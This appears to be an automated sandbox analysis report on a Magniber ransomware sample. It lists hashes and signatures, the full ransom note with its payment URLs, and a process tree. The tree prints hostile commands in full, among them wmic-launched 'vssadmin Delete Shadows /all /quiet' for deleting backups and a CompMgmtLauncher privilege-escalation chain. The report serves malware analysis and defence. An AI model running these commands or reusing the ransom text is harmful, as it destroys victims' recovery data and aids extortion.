Analysis

  • max time kernel
    102s
  • max time network
    137s
  • platform
    windows7_x64
  • resource
    win7v20210410
  • submitted
    22-06-2021 14:07

General

  • Target

    7.exe

  • Size

    21KB

  • MD5

    555aee36e8e1c0e684e658b9ef65bc83

  • SHA1

    f8afbddf6e6ab23f914f961b2eedc51f8b78fabd

  • SHA256

    9f72ed1dc20575f4e19a75256a0df8871561008ce1387e12d932598c21a5b16f

  • SHA512

    b65578a6c9ed2d9262776a73ebb230aa3deeb7e4aa829add17024609261c58dd9e941d6ebde5a6dcac824b56df8d7dccce4938d498069800cc63f14a05513b52

Score
10/10

Malware Config

Extracted

Path

C:\Users\Admin\Desktop\readme.txt

Family

magniber

Ransom Note
ALL YOUR DOCUMENTS PHOTOS DATABASES AND OTHER IMPORTANT FILES HAVE BEEN ENCRYPTED! ==================================================================================================== Your files are NOT damaged! Your files are modified only. This modification is reversible. The only 1 way to decrypt your files is to receive the private key and decryption program. Any attempts to restore your files with the third party software will be fatal for your files! ==================================================================================================== To receive the private key and decryption program follow the instructions below: 1. Download "Tor Browser" from https://www.torproject.org/ and install it. 2. In the "Tor Browser" open your personal page here: http://228424a07214c040fadezwvaw.ndkeblzjnpqgpo5o.onion/dezwvaw Note! This page is available via "Tor Browser" only. ==================================================================================================== Also you can use temporary addresses on your personal page without using "Tor Browser": http://228424a07214c040fadezwvaw.lognear.xyz/dezwvaw http://228424a07214c040fadezwvaw.wonride.site/dezwvaw http://228424a07214c040fadezwvaw.lieedge.casa/dezwvaw http://228424a07214c040fadezwvaw.bejoin.space/dezwvaw Note! These are temporary addresses! They will be available for a limited amount of time!
URLs

http://228424a07214c040fadezwvaw.ndkeblzjnpqgpo5o.onion/dezwvaw

http://228424a07214c040fadezwvaw.lognear.xyz/dezwvaw

http://228424a07214c040fadezwvaw.wonride.site/dezwvaw

http://228424a07214c040fadezwvaw.lieedge.casa/dezwvaw

http://228424a07214c040fadezwvaw.bejoin.space/dezwvaw

Signatures

  • Magniber Ransomware

    Ransomware family widely seen in Asia being distributed by the Magnitude exploit kit.

  • Process spawned unexpected child process 10 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Deletes shadow copies 2 TTPs

    Ransomware often targets backup files to inhibit system recovery.

  • Modifies extensions of user files 9 IoCs

    Ransomware generally changes the extension on encrypted files.

  • Suspicious use of SetThreadContext 3 IoCs
  • Interacts with shadow copies 2 TTPs 5 IoCs

    Shadow copies are often targeted by ransomware to inhibit system recovery.

  • Modifies Internet Explorer settings 1 TTPs 34 IoCs
  • Modifies registry class 11 IoCs
  • Opens file in notepad (likely ransom note) 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious behavior: MapViewOfSection 3 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of FindShellTrayWindow 6 IoCs
  • Suspicious use of SendNotifyMessage 8 IoCs
  • Suspicious use of SetWindowsHookEx 6 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs

Processes

  • C:\Windows\Explorer.EXE
    C:\Windows\Explorer.EXE
    1⤵
    • Modifies registry class
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of FindShellTrayWindow
    • Suspicious use of SendNotifyMessage
    • Suspicious use of WriteProcessMemory
    PID:1264
    • C:\Users\Admin\AppData\Local\Temp\7.exe
      "C:\Users\Admin\AppData\Local\Temp\7.exe"
      2⤵
      • Suspicious use of SetThreadContext
      • Modifies registry class
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious behavior: MapViewOfSection
      • Suspicious use of WriteProcessMemory
      PID:1088
      • C:\Windows\system32\cmd.exe
        cmd.exe /c "%SystemRoot%\system32\wbem\wmic process call create "cmd /c CompMgmtLauncher.exe""
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:1448
        • C:\Windows\system32\wbem\WMIC.exe
          C:\Windows\system32\wbem\wmic process call create "cmd /c CompMgmtLauncher.exe"
          4⤵
          • Suspicious use of AdjustPrivilegeToken
          PID:876
      • C:\Windows\system32\cmd.exe
        cmd.exe /c "%SystemRoot%\system32\wbem\wmic process call create "cmd /c CompMgmtLauncher.exe""
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:1996
        • C:\Windows\system32\wbem\WMIC.exe
          C:\Windows\system32\wbem\wmic process call create "cmd /c CompMgmtLauncher.exe"
          4⤵
          • Suspicious use of AdjustPrivilegeToken
          PID:1756
    • C:\Windows\system32\cmd.exe
      cmd.exe /c "%SystemRoot%\system32\wbem\wmic process call create "cmd /c CompMgmtLauncher.exe""
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:560
      • C:\Windows\system32\wbem\WMIC.exe
        C:\Windows\system32\wbem\wmic process call create "cmd /c CompMgmtLauncher.exe"
        3⤵
        • Suspicious use of AdjustPrivilegeToken
        PID:1724
  • C:\Windows\system32\Dwm.exe
    "C:\Windows\system32\Dwm.exe"
    1⤵
    • Modifies registry class
    • Suspicious use of WriteProcessMemory
    PID:1232
    • C:\Windows\system32\cmd.exe
      cmd.exe /c "%SystemRoot%\system32\wbem\wmic process call create "cmd /c CompMgmtLauncher.exe""
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:324
      • C:\Windows\system32\wbem\WMIC.exe
        C:\Windows\system32\wbem\wmic process call create "cmd /c CompMgmtLauncher.exe"
        3⤵
        • Suspicious use of AdjustPrivilegeToken
        PID:1612
  • C:\Windows\system32\taskhost.exe
    "taskhost.exe"
    1⤵
    • Modifies extensions of user files
    • Modifies registry class
    • Suspicious use of WriteProcessMemory
    PID:1124
    • C:\Windows\system32\notepad.exe
      notepad.exe C:\Users\Public\readme.txt
      2⤵
      • Opens file in notepad (likely ransom note)
      PID:1296
    • C:\Windows\system32\cmd.exe
      cmd /c "start http://228424a07214c040fadezwvaw.lognear.xyz/dezwvaw^&1^&46644069^&96^&389^&12"
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:872
      • C:\Program Files\Internet Explorer\iexplore.exe
        "C:\Program Files\Internet Explorer\iexplore.exe" http://228424a07214c040fadezwvaw.lognear.xyz/dezwvaw&1&46644069&96&389&12
        3⤵
        • Modifies Internet Explorer settings
        • Suspicious use of FindShellTrayWindow
        • Suspicious use of SetWindowsHookEx
        • Suspicious use of WriteProcessMemory
        PID:2040
        • C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE
          "C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE" SCODEF:2040 CREDAT:275457 /prefetch:2
          4⤵
          • Modifies Internet Explorer settings
          • Suspicious use of SetWindowsHookEx
          PID:2088
    • C:\Windows\system32\cmd.exe
      cmd.exe /c "%SystemRoot%\system32\wbem\wmic process call create "cmd /c CompMgmtLauncher.exe""
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:328
      • C:\Windows\system32\wbem\WMIC.exe
        C:\Windows\system32\wbem\wmic process call create "cmd /c CompMgmtLauncher.exe"
        3⤵
          PID:1772
    • C:\Windows\system32\cmd.exe
      cmd /c CompMgmtLauncher.exe
      1⤵
      • Process spawned unexpected child process
      • Suspicious use of WriteProcessMemory
      PID:2064
      • C:\Windows\system32\CompMgmtLauncher.exe
        CompMgmtLauncher.exe
        2⤵
        • Suspicious use of WriteProcessMemory
        PID:2220
        • C:\Windows\system32\wbem\wmic.exe
          "C:\Windows\system32\wbem\wmic.exe" process call create "vssadmin.exe Delete Shadows /all /quiet"
          3⤵
            PID:2540
      • C:\Windows\system32\cmd.exe
        cmd /c CompMgmtLauncher.exe
        1⤵
        • Process spawned unexpected child process
        • Suspicious use of WriteProcessMemory
        PID:2120
        • C:\Windows\system32\CompMgmtLauncher.exe
          CompMgmtLauncher.exe
          2⤵
            PID:2292
            • C:\Windows\system32\wbem\wmic.exe
              "C:\Windows\system32\wbem\wmic.exe" process call create "vssadmin.exe Delete Shadows /all /quiet"
              3⤵
                PID:2604
          • C:\Windows\system32\cmd.exe
            cmd /c CompMgmtLauncher.exe
            1⤵
            • Process spawned unexpected child process
            • Suspicious use of WriteProcessMemory
            PID:2144
            • C:\Windows\system32\CompMgmtLauncher.exe
              CompMgmtLauncher.exe
              2⤵
                PID:2244
                • C:\Windows\system32\wbem\wmic.exe
                  "C:\Windows\system32\wbem\wmic.exe" process call create "vssadmin.exe Delete Shadows /all /quiet"
                  3⤵
                    PID:2572
              • C:\Windows\system32\cmd.exe
                cmd /c CompMgmtLauncher.exe
                1⤵
                • Process spawned unexpected child process
                • Suspicious use of WriteProcessMemory
                PID:2080
                • C:\Windows\system32\CompMgmtLauncher.exe
                  CompMgmtLauncher.exe
                  2⤵
                    PID:2204
                    • C:\Windows\system32\wbem\wmic.exe
                      "C:\Windows\system32\wbem\wmic.exe" process call create "vssadmin.exe Delete Shadows /all /quiet"
                      3⤵
                        PID:2588
                  • C:\Windows\system32\cmd.exe
                    cmd /c CompMgmtLauncher.exe
                    1⤵
                    • Process spawned unexpected child process
                    • Suspicious use of WriteProcessMemory
                    PID:2072
                    • C:\Windows\system32\CompMgmtLauncher.exe
                      CompMgmtLauncher.exe
                      2⤵
                      • Suspicious use of WriteProcessMemory
                      PID:2260
                      • C:\Windows\system32\wbem\wmic.exe
                        "C:\Windows\system32\wbem\wmic.exe" process call create "vssadmin.exe Delete Shadows /all /quiet"
                        3⤵
                          PID:2472
                    • C:\Windows\system32\vssadmin.exe
                      vssadmin.exe Delete Shadows /all /quiet
                      1⤵
                      • Process spawned unexpected child process
                      • Interacts with shadow copies
                      PID:2708
                    • C:\Windows\system32\vssvc.exe
                      C:\Windows\system32\vssvc.exe
                      1⤵
                        PID:2840
                      • C:\Windows\system32\vssadmin.exe
                        vssadmin.exe Delete Shadows /all /quiet
                        1⤵
                        • Process spawned unexpected child process
                        • Interacts with shadow copies
                        PID:2856
                      • C:\Windows\system32\vssadmin.exe
                        vssadmin.exe Delete Shadows /all /quiet
                        1⤵
                        • Process spawned unexpected child process
                        • Interacts with shadow copies
                        PID:2916
                      • C:\Windows\system32\vssadmin.exe
                        vssadmin.exe Delete Shadows /all /quiet
                        1⤵
                        • Process spawned unexpected child process
                        • Interacts with shadow copies
                        PID:2960
                      • C:\Windows\system32\vssadmin.exe
                        vssadmin.exe Delete Shadows /all /quiet
                        1⤵
                        • Process spawned unexpected child process
                        • Interacts with shadow copies
                        PID:2932

                      Network

                      MITRE ATT&CK Enterprise v6

                      Replay Monitor

                      Loading Replay Monitor...

                      Downloads

                      • memory/1088-61-0x00000000000E0000-0x00000000000E1000-memory.dmp

                        Filesize

                        4KB

                      • memory/1088-91-0x0000000001D00000-0x0000000001D01000-memory.dmp

                        Filesize

                        4KB

                      • memory/1088-62-0x00000000000F0000-0x00000000000F1000-memory.dmp

                        Filesize

                        4KB

                      • memory/1088-63-0x0000000000100000-0x0000000000101000-memory.dmp

                        Filesize

                        4KB

                      • memory/1088-64-0x0000000000110000-0x0000000000111000-memory.dmp

                        Filesize

                        4KB

                      • memory/1088-87-0x0000000001CB0000-0x0000000001CB1000-memory.dmp

                        Filesize

                        4KB

                      • memory/1088-88-0x0000000001CC0000-0x0000000001CC1000-memory.dmp

                        Filesize

                        4KB

                      • memory/1088-89-0x0000000001CD0000-0x0000000001CD1000-memory.dmp

                        Filesize

                        4KB

                      • memory/1088-60-0x0000000001D10000-0x0000000001D11000-memory.dmp

                        Filesize

                        4KB

                      • memory/1088-59-0x0000000000020000-0x0000000000025000-memory.dmp

                        Filesize

                        20KB

                      • memory/1088-93-0x0000000001D20000-0x0000000001D21000-memory.dmp

                        Filesize

                        4KB

                      • memory/1088-94-0x0000000001D30000-0x0000000001D31000-memory.dmp

                        Filesize

                        4KB

                      • memory/1124-96-0x0000000001BC0000-0x0000000001BC4000-memory.dmp

                        Filesize

                        16KB

                      • memory/1264-92-0x0000000002CC0000-0x0000000002CD0000-memory.dmp

                        Filesize

                        64KB

                      • memory/1296-118-0x000007FEFBBF1000-0x000007FEFBBF3000-memory.dmp

                        Filesize

                        8KB

                      • memory/2088-154-0x00000000753B1000-0x00000000753B3000-memory.dmp

                        Filesize

                        8KB

                      • memory/2088-166-0x0000000000AB0000-0x0000000000AB2000-memory.dmp

                        Filesize

                        8KB